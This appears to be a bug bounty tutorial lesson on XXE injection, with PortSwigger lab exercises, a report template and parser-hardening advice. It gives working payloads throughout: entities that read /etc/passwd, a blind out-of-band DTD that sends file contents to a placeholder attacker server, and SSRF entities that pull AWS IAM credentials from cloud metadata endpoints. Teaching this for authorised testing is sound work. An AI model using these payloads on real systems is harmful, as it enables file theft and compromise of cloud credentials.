⚠️ Authorised Programs Only: All XXE techniques in this guide are practised on platforms you are authorised to test — PortSwigger Web Academy labs, HackTheBox, TryHackMe, or bug bounty targets within their published scope. Never test XXE against any application outside an active authorised engagement.
XXE is the vulnerability that turns a file upload form, an invoice parser, or a stock feed endpoint into a path straight to /etc/passwd — or worse, a window into the cloud metadata service that hands you production AWS credentials. It pays anywhere from $500 to $50,000 depending on what the server gives back. XXE Injection Bug Bounty Day 13 is where XML becomes a weapon.
🎯 What You’ll Master in Day 13
Identify every XML input point in a web application using Burp Suite
Craft basic XXE payloads to read server files including /etc/passwd and /etc/hosts
Use blind XXE with OOB callbacks to confirm parsing on non-reflecting endpoints
Escalate XXE to SSRF against AWS metadata endpoints and internal services
Write a complete XXE bug bounty report with CVSS scoring and remediation
⏱️ 22 min read · 3 hands-on exercises
📊 Where are you with XXE coming into Day 13?
✅ Perfect — this guide covers the full XXE attack chain from basic file read through blind OOB to cloud metadata SSRF. Use the TOC to navigate.
📋 What You’ll Master in Day 13 — XXE Bug Bounty Guide
XML supports a feature called external entities — references defined in a DOCTYPE declaration that the parser resolves before processing the document. Originally designed for including shared content, this feature can be abused to point the entity at local files or internal URLs. When the parser resolves the entity, it reads the target and embeds its contents into the document — which the application may then reflect back in its response.
📸 Basic XXE payload — the DOCTYPE declares an external entity pointing at /etc/passwd, then &xxe; is referenced in the productId field. The server resolves the entity and returns the file contents in the error message.
Finding XML Input Points with Burp Suite
XXE exists wherever an application parses XML. The attack surface is wider than most hunters expect — it includes not just obvious XML forms, but also file uploads, API endpoints, and content-type switching.
IDENTIFYING XML ATTACK SURFACE IN BURP
# In Burp Suite Proxy History — filter for XML content types:
Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: application/rss+xml
# Less obvious XML attack surfaces to hunt:
File uploads→ .docx, .xlsx, .svg, .xml, .pptx are all ZIP+XML
JSON endpoints→ change Content-Type to XML — some parsers accept both
SOAP APIs→ always XML-based, always worth testing
PDF generators→ many use XML templates internally
RSS/Atom feeds→ if the app parses user-submitted feeds
# Burp Suite: right-click any XML request → Send to Repeater
# Then manually inject DOCTYPE declaration and test
🛠️ EXERCISE 1 — PORTSWIGGER LAB (FREE · NO INSTALL)
Exploit a basic XXE to read /etc/passwd on the PortSwigger Web Academy
Steps:
1. Click “Access the lab” — a live vulnerable app loads
2. Navigate to a product page and click “Check stock”
3. Intercept the request in Burp Suite — note the XML body
4. Inject the XXE payload before the first XML element:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>
5. Reference &xxe; in the productId field
6. Forward the request — /etc/passwd contents appear in response
7. The lab marks itself solved automatically
✅ What you just learned: A stock check form that processes XML without restricting entity resolution reads arbitrary server files. This exact pattern appears in real production applications — invoice parsers, shipping integrations, and any SOAP-based API endpoint. The fix is one line: disable external entity processing in the XML parser configuration.
📸 Screenshot the solved lab confirmation and share in #day13-xxe on Discord.
Blind XXE — Out-of-Band Exfiltration
Most real-world XXE vulnerabilities are blind — the application parses the malicious XML but does not reflect the entity contents in its response. Detecting and exploiting blind XXE requires out-of-band (OOB) techniques: causing the server to make an external connection to an attacker-controlled server, confirming that parsing occurred and allowing data exfiltration via DNS or HTTP.
BLIND XXE — OOB DETECTION PAYLOADS
# Step 1: Confirm blind XXE via DNS/HTTP callback
# Use Burp Collaborator or interactsh (free) as your OOB server
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://YOUR-COLLABORATOR.burpcollaborator.net”>]>
<foo>&xxe;</foo>
# If server is vulnerable → HTTP request arrives at your collaborator
# Requires hosting a malicious DTD file on your server:
# malicious.dtd (host this at http://YOUR-SERVER/malicious.dtd):
<!ENTITY % file SYSTEM “file:///etc/passwd”>
<!ENTITY % eval “<!ENTITY % exfil SYSTEM ‘http://YOUR-SERVER/?x=%file;’>”>
%eval;
%exfil;
# Then inject this in the target app’s XML:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM “http://YOUR-SERVER/malicious.dtd”> %xxe;]>
# /etc/passwd contents arrive in YOUR-SERVER access log as URL parameter
# Free OOB server alternatives to Burp Collaborator:
https://app.interactsh.com→ free, no account needed
https://webhook.site→ HTTP callbacks with request viewer
🧠 EXERCISE 2 — THINK LIKE A HACKER (4 MIN)
Why does blind XXE require a different exploitation technique than basic XXE?
⏱️ Time: 4 minutes · No tools required
The application parses your XML but never reflects entity contents
in the HTTP response. You know the parser is XML-based.
Answer these before building your payload:
1. Why can’t you use &xxe; referencing file:///etc/passwd here?
2. How does a DNS callback confirm the parser is resolving external entities?
3. Why does data exfiltration require a two-stage approach (external DTD)?
4. What server-side restriction would block OOB HTTP callbacks but not DNS?
5. If callbacks are blocked entirely, how else could you confirm XXE?
✅ What you just learned: Blind XXE requires OOB because there is no response channel for the data. DNS callbacks confirm parsing (DNS is rarely blocked outbound). HTTP callbacks enable data exfiltration. The external DTD is needed because inline parameter entities cannot reference each other in the same DOCTYPE due to XML spec restrictions. Error-based XXE is a fallback when all outbound connections are blocked — triggering parser errors that include file contents in error messages.
📸 Write your answers and share in #day13-blindxxe on Discord.
XXE to SSRF — Cloud Metadata Escalation
Replacing the file:// URI with http:// turns XXE into a server-side request forgery attack. The server fetches the URL and returns the response — giving you read access to internal services and cloud metadata endpoints that are only accessible from within the server’s network.
XXE → SSRF — HIGH-VALUE TARGETS
# AWS EC2 metadata service (IMDSv1 — still common in legacy deployments)
<!ENTITY xxe SYSTEM “http://169.254.169.254/latest/meta-data/”>
# Returns: ami-id, hostname, iam/, instance-id, etc.
# AWS IAM credentials (critical — if this works, game over)
<!ENTITY xxe SYSTEM “http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME”>
# Returns: AccessKeyId, SecretAccessKey, Token — production AWS keys
# GCP metadata service
<!ENTITY xxe SYSTEM “http://metadata.google.internal/computeMetadata/v1/”>
# Azure IMDS
<!ENTITY xxe SYSTEM “http://169.254.169.254/metadata/instance?api-version=2021-02-01”>
<!ENTITY xxe SYSTEM “http://localhost:8080/admin”>
# Any internal URL only accessible from server’s network
💡 Bounty Impact Multiplier: XXE that reads /etc/passwd pays $500-$2,000. XXE that reads AWS IAM credentials via the metadata service pays $10,000-$50,000+ on major programs. The same one-line payload change (file:// → http://169.254.169.254) is the difference. Always test for SSRF escalation on any confirmed XXE — it takes 30 seconds and can multiply your payout by 10x.
🔥 EXERCISE 3 — BURP SUITE (PORTSWIGGER BLIND XXE LAB)
Exploit blind XXE using OOB interaction on a live PortSwigger lab
⏱️ Time: 20 minutes · Burp Suite Community + free PortSwigger account
Lab: “Blind XXE with out-of-band interaction” — PortSwigger Web Academy
BLIND XXE OOB WORKFLOW
# 1. Open Burp Suite → Burp Collaborator → Copy URL
# 2. Access the PortSwigger lab, intercept the XML stock check request
# 3. In Burp Repeater, inject this payload (replace collaborator URL):
<?xml version=”1.0″?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://YOUR-COLLABORATOR.burpcollaborator.net”>]>
# 6. Incoming HTTP/DNS request confirms server resolved the entity
# 7. Lab marks itself as solved
✅ What you just learned: Even when the application returns no visible data, the OOB callback proves the XML parser is resolving external entities. In a real bug bounty, this OOB confirmation is sufficient evidence to report a blind XXE vulnerability — the callback itself demonstrates the parser trust issue even before you attempt data exfiltration.
📸 Screenshot the Burp Collaborator callback and share in #day13-blindxxe on Discord. Tag #bbday13
Writing the Bug Bounty Report
XXE is one of the most well-understood vulnerability classes — triagers know exactly what to look for. A good XXE report shows the complete request/response chain, the file read or OOB callback evidence, and a clear CVSS score with justification.
XXE BUG BOUNTY REPORT TEMPLATE
Title:XXE Injection at /api/stock/check — Arbitrary File Read via External Entity
Severity:High (CVSS 7.5) — Critical (9.8) if SSRF to metadata service confirmed
Affected Endpoint:POST /api/stock/check
Steps to Reproduce:
1. Send the following HTTP request:
POST /api/stock/check HTTP/1.1
Content-Type: application/xml
<?xml version=”1.0″?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>
XXE (XML External Entity) injection exploits insecure XML parser configuration — when the parser has external entity processing enabled (the default in many libraries), an attacker can inject a DOCTYPE declaration that causes the parser to read local files, make HTTP requests to internal services, or exfiltrate data to an external server.
What is the difference between regular and blind XXE?
Regular XXE reflects the external entity contents in the HTTP response — you inject a payload and see the file contents directly. Blind XXE occurs when the application parses the XML but never returns the entity contents. Blind XXE requires OOB techniques — causing the server to make an external DNS or HTTP request to confirm parsing and exfiltrate data.
How much does XXE pay on bug bounty programs?
XXE payouts scale with impact. Reading /etc/passwd typically pays $500-$2,000. Reading source code or application credentials pays $2,000-$10,000. XXE escalated to SSRF accessing AWS IAM credentials via the metadata service may pay $10,000-$50,000+ on top-tier programs. Always test for SSRF escalation — it multiplies payout potential dramatically.
How do I prevent XXE?
Disable external entity processing in your XML parser. In Java: setFeature(“external-general-entities”, false). In PHP: libxml_disable_entity_loader(true). In Python: use defusedxml. This is the only reliable fix — input sanitisation and WAF rules are insufficient because DOCTYPE syntax has too many variations to blacklist effectively.
What comes after XXE in this course?
Day 14 covers Command Injection — the vulnerability class where unsanitised input is passed directly to OS commands, allowing arbitrary code execution. Command injection is related to XXE SSRF in that both achieve server-side execution of attacker-controlled input through different attack vectors.
← Previous
Day 12: File Upload Vulnerabilities
Next →
Day 14: Command Injection
📚 Further Reading
Day 12: File Upload Vulnerabilities— The previous session — exploit unrestricted file upload to achieve remote code execution and understand the upload validation bypass techniques.
Burp Suite Cheat Sheet 2026— Complete Burp Suite reference including Repeater, Collaborator, and Intruder workflows essential for finding and exploiting XXE.
PortSwigger: XXE Complete Guide— The definitive XXE reference with 9 free interactive labs covering all XXE variants including blind OOB, error-based, and SVG-based XXE.
OWASP XXE Prevention Cheat Sheet— Parser-specific disable instructions for Java, PHP, Python, .NET, and every major XML library — the remediation reference for your bug reports.
ME
Mr Elite
Owner, SecurityElites.com
The most memorable XXE I ever found was in a major e-commerce platform’s invoice PDF generator. The system accepted XML-formatted invoice data from third-party sellers, and the PDF library was parsing external entities. A payload referencing the AWS metadata service returned IAM credentials with S3 full access permissions. One XXE, one payload change from file:// to http://, and the entire product image CDN was accessible. That finding went from estimated $2,000 to a $28,000 critical payout. Always test for SSRF escalation — it costs 30 seconds and can change everything.
Leave a Reply